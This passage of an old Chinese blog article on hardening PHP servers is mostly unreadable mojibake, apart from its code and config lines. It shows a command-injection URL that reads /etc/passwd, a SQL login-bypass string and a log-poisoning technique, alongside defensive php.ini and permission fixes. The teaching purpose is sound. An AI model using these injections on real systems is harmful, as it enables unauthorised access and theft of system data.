ÏÂÃæµÄ´úÂëÆ¬¶ÏÊÇ´ÓPHPNetToolpackÕª³ö£¬ÏêϸµÄÃèÊö¼û£º

http://www.securityfocus.com/bid/4303

//test_6.php
system("traceroute $a_query",$ret_strs);
?>

 

ÓÉÓÚ³ÌÐòûÓйýÂË$a_query±äÁ¿£¬ËùÒÔ¹¥»÷Õß¿ÉÒÔÓ÷ֺÅÀ´×·¼ÓÖ´ÐÐÃüÁî¡£

¹¥»÷ÕßÊäÈëÈçÏÂÇëÇó¿ÉÒÔÖ´ÐÐcat /etc/passwdÃüÁ

http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd

PHPµÄÃüÁîÖ´Ðк¯Êý»¹ÓÐsystem(), passthru(), popen()ºÍ``µÈ¡£ÃüÁîÖ´Ðк¯Êý·Ç³£Î£ÏÕ£¬É÷Óá£Èç¹ûҪʹÓÃÒ»¶¨ÒªÑϸñ¼ì²éÓû§ÊäÈë¡£

½â¾ö·½·¨£º

ÒªÇó³ÌÐòԱʹÓÃescapeshellcmd()º¯Êý¹ýÂËÓû§ÊäÈëµÄshellÃüÁî¡£

ÆôÓÃsafe_mode¿ÉÒԶžøºÜ¶àÖ´ÐÐÃüÁîµÄÎÊÌ⣬²»¹ýҪעÒâPHPµÄ°æ±¾Ò»¶¨ÒªÊÇ×îеģ¬Ð¡ÓÚPHP-4.2.2µÄ¶¼¿ÉÄÜÈÆ¹ýsafe_modeµÄÏÞÖÆÈ¥Ö´ÐÐÃüÁî¡£

7¡¢sql_inject

ÈçϵÄSQLÓï¾äÈç¹ûδ¶Ô±äÁ¿½øÐд¦Àí¾Í»á´æÔÚÎÊÌ⣺

select * from login where user='$user' and pass='$pass'

 

¹¥»÷Õß¿ÉÒÔÓû§ÃûºÍ¿ÚÁî¶¼ÊäÈë1' or 1='1ÈÆ¹ýÑéÖ¤¡£

²»¹ýÐÒ¿÷PHPÓÐÒ»¸öĬÈϵÄÑ¡Ïîmagic_quotes_gpc = On£¬¸ÃÑ¡ÏîʹµÃ´ÓGET, POST, COOKIEÀ´µÄ±äÁ¿×Ô¶¯¼ÓÁËaddslashes()²Ù×÷¡£ÉÏÃæSQLÓï¾ä±ä³ÉÁË£º

select * from login where user='1\' or
1=\'1' and pass='1\' or 1=\'1'

 

´Ó¶ø±ÜÃâÁË´ËÀàsql_inject¹¥»÷¡£

¶ÔÓÚÊý×ÖÀàÐ͵Ä×ֶΣ¬ºÜ¶à³ÌÐòÔ±»áÕâÑùд£º

select * from test where id=$id

 

ÓÉÓÚ±äÁ¿Ã»ÓÐÓõ¥ÒýºÅÀ©ÆðÀ´£¬¾Í»áÔì³Ésql_inject¹¥»÷¡£ÐÒ¿÷MySQL¹¦Äܼòµ¥£¬Ã»ÓÐsqlserverµÈÊý¾Ý¿âÓÐÖ´ÐÐÃüÁîµÄSQLÓï¾ä£¬¶øÇÒPHPµÄmysql_query()º¯ÊýÒ²Ö»ÔÊÐíÖ´ÐÐÒ»ÌõSQLÓï¾ä£¬ËùÒÔÓ÷ֺŸô¿ª¶àÌõSQLÓï¾äµÄ¹¥»÷Ò²²»ÄÜ×àЧ¡£µ«Êǹ¥»÷Õ߯ðÂ뻹¿ÉÒÔÈòéѯÓï¾ä³ö´í£¬Ð¹Â©ÏµÍ³µÄһЩÐÅÏ¢£¬»òÕßһЩÒâÏë²»µ½µÄÇé¿ö¡£

½â¾ö·½·¨£º

ÒªÇó³ÌÐòÔ±¶ÔËùÓÐÓû§Ìá½»µÄÒª·Åµ½SQLÓï¾äµÄ±äÁ¿½øÐйýÂË¡£

¼´Ê¹ÊÇÊý×ÖÀàÐ͵Ä×ֶΣ¬±äÁ¿Ò²ÒªÓõ¥ÒýºÅÀ©ÆðÀ´£¬MySQL×Ô¼º»á°Ñ×Ö´®´¦Àí³ÉÊý×Ö¡£

ÔÚMySQLÀï²»Òª¸øPHP³ÌÐò¸ß¼¶±ðȨÏÞµÄÓû§£¬Ö»ÔÊÐí¶Ô×Ô¼ºµÄ¿â½øÐвÙ×÷£¬ÕâÒ²±ÜÃâÁ˳ÌÐò³öÏÖÎÊÌâ±» SELECT INTO OUTFILE ... ÕâÖÖ¹¥»÷¡£

8¡¢¾¯¸æ¼°´íÎóÐÅÏ¢

PHPĬÈÏÏÔʾËùÓеľ¯¸æ¼°´íÎóÐÅÏ¢£º

error_reporting = E_ALL & ~E_NOTICE
display_errors = On

 

ÔÚÆ½Ê±¿ª·¢µ÷ÊÔʱÕâ·Ç³£ÓÐÓ㬿ÉÒÔ¸ù¾Ý¾¯¸æÐÅÏ¢ÂíÉÏÕÒµ½³ÌÐò´íÎóËùÔÚ¡£

ÕýʽӦÓÃʱ£¬¾¯¸æ¼°´íÎóÐÅÏ¢ÈÃÓû§²»ÖªËù´ë£¬¶øÇÒ¸ø¹¥»÷Õßй©Á˽ű¾ËùÔÚµÄÎïÀí·¾¶£¬Îª¹¥»÷ÕߵĽøÒ»²½¹¥»÷ÌṩÁËÓÐÀûµÄÐÅÏ¢¡£¶øÇÒÓÉÓÚ×Ô¼ºÃ»ÓзÃÎʵ½´íÎóµÄµØ·½£¬·´¶ø²»Äܼ°Ê±Ð޸ijÌÐòµÄ´íÎó¡£ËùÒÔ°ÑPHPµÄËùÓо¯¸æ¼°´íÎóÐÅÏ¢¼Ç¼µ½Ò»¸öÈÕÖ¾ÎļþÊǷdz£Ã÷Öǵ쬼´²»¸ø¹¥»÷Õßй©ÎïÀí·¾¶£¬ÓÖÄÜÈÃ×Ô¼ºÖªµÀ³ÌÐò´íÎóËùÔÚ¡£

ÐÞ¸Äphp.iniÖйØÓÚError handling and logging²¿·ÖÄÚÈÝ£º

error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log

 

È»ºóÖØÆôapache£¬×¢ÒâÎļþ/usr/local/apache/logs/php_error.log±ØÐè¿ÉÒÔÈÃnobodyÓû§¿Éд¡£

9¡¢disable_functions

Èç¹û¾õµÃÓÐЩº¯Êý»¹ÓÐÍþв£¬¿ÉÒÔÉèÖÃphp.iniÀïµÄdisable_functions£¨Õâ¸öÑ¡Ïî²»ÄÜÔÚhttpd.confÀïÉèÖã©£¬±ÈÈ磺

disable_functions = phpinfo, get_cfg_var

 

¿ÉÒÔÖ¸¶¨¶à¸öº¯Êý£¬ÓöººÅ·Ö¿ª¡£ÖØÆôapacheºó£¬phpinfo, get_cfg_varº¯Êý¶¼±»½ûÖ¹ÁË¡£½¨Ò鹨±Õº¯Êýphpinfo, get_cfg_var£¬ÕâÁ½¸öº¯ÊýÈÝÒ×й©·þÎñÆ÷ÐÅÏ¢£¬¶øÇÒûÓÐʵ¼ÊÓô¦¡£

10¡¢disable_classes

Õâ¸öÑ¡ÏîÊÇ´ÓPHP-4.3.2¿ªÊ¼²ÅÓеģ¬Ëü¿ÉÒÔ½ûÓÃijЩÀ࣬Èç¹ûÓжà¸öÓöººÅ·Ö¸ôÀàÃû¡£disable_classesÒ²²»ÄÜÔÚhttpd.confÀïÉèÖã¬Ö»ÄÜÔÚphp.iniÅäÖÃÎļþÀïÐ޸ġ£

11¡¢open_basedir

Ç°Ãæ·ÖÎöÀý³ÌµÄʱºòÒ²¶à´ÎÌáµ½ÓÃopen_basedir¶Ô½Å±¾²Ù×÷·¾¶½øÐÐÏÞÖÆ£¬ÕâÀïÔÙ½éÉÜÒ»ÏÂËüµÄÌØÐÔ¡£ÓÃopen_basedirÖ¸¶¨µÄÏÞÖÆÊµ¼ÊÉÏÊÇǰ׺£¬²»ÊÇĿ¼Ãû¡£Ò²¾ÍÊÇ˵ "open_basedir = /dir/incl" Ò²»áÔÊÐí·ÃÎÊ "/dir/include" ºÍ "/dir/incls"£¬Èç¹ûËüÃÇ´æÔڵϰ¡£Èç¹ûÒª½«·ÃÎÊÏÞÖÆÔÚ½öΪָ¶¨µÄĿ¼£¬ÓÃбÏß½áÊøÂ·¾¶Ãû¡£ÀýÈ磺"open_basedir = /dir/incl/"¡£

¿ÉÒÔÉèÖöà¸öĿ¼£¬ÔÚWindowsÖУ¬Ó÷ֺŷָôĿ¼¡£ÔÚÈÎºÎÆäËüϵͳÖÐÓÃðºÅ·Ö¸ôĿ¼¡£×÷ΪApacheÄ£¿éʱ£¬¸¸Ä¿Â¼ÖеÄopen_basedir·¾¶×Ô¶¯±»¼Ì³Ð¡£

ËÄ¡¢ÆäËü°²È«ÅäÖÃ

1¡¢È¡ÏûÆäËüÓû§¶Ô³£Óá¢ÖØÒªÏµÍ³ÃüÁîµÄ¶ÁдִÐÐȨÏÞ

Ò»°ã¹ÜÀíԱά»¤Ö»ÐèÒ»¸öÆÕͨÓû§ºÍ¹ÜÀíÓû§£¬³ýÁËÕâÁ½¸öÓû§£¬¸øÆäËüÓû§Äܹ»Ö´ÐкͷÃÎʵĶ«Î÷Ó¦¸ÃÔ½ÉÙÔ½ºÃ£¬ËùÒÔÈ¡ÏûÆäËüÓû§¶Ô³£Óá¢ÖØÒªÏµÍ³ÃüÁîµÄ¶ÁдִÐÐȨÏÞÄÜÔÚ³ÌÐò»òÕß·þÎñ³öÏÖ©¶´µÄʱºò¸ø¹¥»÷Õß´øÀ´ºÜ´óµÄÃÔ»ó¡£¼Çסһ¶¨ÒªÁ¬¶ÁµÄȨÏÞҲȥµô£¬·ñÔòÔÚlinuxÏ¿ÉÒÔÓÃ/lib/ld-linux.so.2 /bin/lsÕâÖÖ·½Ê½À´Ö´ÐС£

Èç¹ûҪȡÏûij³ÌÈç¹ûÊÇÔÚchroot»·¾³ÀÕâ¸ö¹¤×÷±È½ÏÈÝÒ×ʵÏÖ£¬·ñÔò£¬ÕâÏ×÷»¹ÊÇÓÐЩÌôÕ½µÄ¡£ÒòΪȡÏûһЩ³ÌÐòµÄÖ´ÐÐȨÏ޻ᵼÖÂһЩ·þÎñÔËÐв»Õý³£¡£PHPµÄmailº¯ÊýÐèÒª/bin/shÈ¥µ÷ÓÃsendmail·¢ÐÅ£¬ËùÒÔ/bin/bashµÄÖ´ÐÐȨÏÞ²»ÄÜÈ¥µô¡£ÕâÊÇÒ»Ïî±È½ÏÀÛÈ˵Ť×÷£¬

2¡¢È¥µôapacheÈÕÖ¾ÆäËüÓû§µÄ¶ÁȨÏÞ

apacheµÄaccess-log¸øÒ»Ð©³öÏÖ±¾µØ°üº¬Â©¶´µÄ³ÌÐòÌṩÁË·½±ãÖ®ÃÅ¡£Í¨¹ýÌá½»°üº¬PHP´úÂëµÄURL£¬¿ÉÒÔʹaccess-log°üº¬PHP´úÂ룬ÄÇô°Ñ°üº¬ÎļþÖ¸Ïòaccess-log¾Í¿ÉÒÔÖ´ÐÐÄÇЩPHP´úÂ룬´Ó¶ø»ñµÃ±¾µØ·ÃÎÊȨÏÞ¡£

Èç¹ûÓÐÆäËüÐéÄâÖ÷»ú£¬Ò²Ó¦¸ÃÏàӦȥµô¸ÃÈÕÖ¾ÎļþÆäËüÓû§µÄ¶ÁȨÏÞ¡£

µ±È»£¬Èç¹ûÄã°´ÕÕÇ°Ãæ½éÉܵÄÅäÖÃPHPÄÇôһ°ãÒѾ­ÊÇÎÞ·¨¶ÁÈ¡ÈÕÖ¾ÎļþÁË

Submitted by ¶àÇéÀË×Ó on 2006, June 7, 2:06 PM

« ÉÏһƪ | ÏÂһƪ »

Õ¹¿ª/±ÕºÏÒýÓÃ(0)
ÒýÓõØÖ·: http://www.lantowan.org/trackback.php?id=13
Ö»Ö§³ÖGB2312ºÍUTF-8Á½ÖÖ±àÂëµÄTrackback
 


·Ã¿ÍÆÀÂÛ
ÒѾ­ÓÐ 2 È˲ÎÓëÆÀÂÛ

Ìí¼ÓÆÀÂÛ

ÄúµÄÃû×Ö(*):

ÄúµÄE-mail:

ÆÀÂÛÄÚÈÝ(*):

¼ÇסÎÒ         ¡¾ Alt+S »ò Ctrl+Enter ¿ìËÙÌá½» ¡¿